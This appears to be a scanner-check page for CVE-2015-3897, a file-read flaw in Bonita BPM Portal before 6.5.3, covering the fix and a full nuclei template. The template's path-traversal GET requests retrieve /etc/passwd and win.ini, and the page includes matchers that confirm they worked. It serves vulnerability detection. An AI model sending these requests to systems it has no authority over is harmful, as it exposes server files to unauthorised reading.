Bonita BPM Portal <6.5.3 - Local File Inclusion

mediumseverity

5CVSS score

17.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade Bonita BPM Portal to version 6.5.3 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd ; GET {{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions" OR matches /root:[x*]:0:0:/

Run it with nuclei: nuclei -id CVE-2015-3897 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-3897

info:
  name: Bonita BPM Portal <6.5.3 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Bonita BPM Portal before 6.5.3 allows remote attackers to read arbitrary files via a .. (dot dot) in the theme parameter and a file path in the location parameter to bonita/portal/themeResource.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Bonita BPM Portal to version 6.5.3 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132237/Bonita-BPM-6.5.1-Directory-Traversal-Open-Redirect.html
    - https://www.bonitasoft.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3897
    - https://www.htbridge.com/advisory/HTB23259
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-3897
    cwe-id: CWE-22
    epss-score: 0.17562
    epss-percentile: 0.97164
    cpe: cpe:2.3:a:bonitasoft:bonita_bpm_portal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bonitasoft
    product: bonita_bpm_portal
  tags: cve2015,cve,unauth,packetstorm,bonita,lfi,bonitasoft,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd"
      - "{{BaseURL}}/bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=Windows/win.ini"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from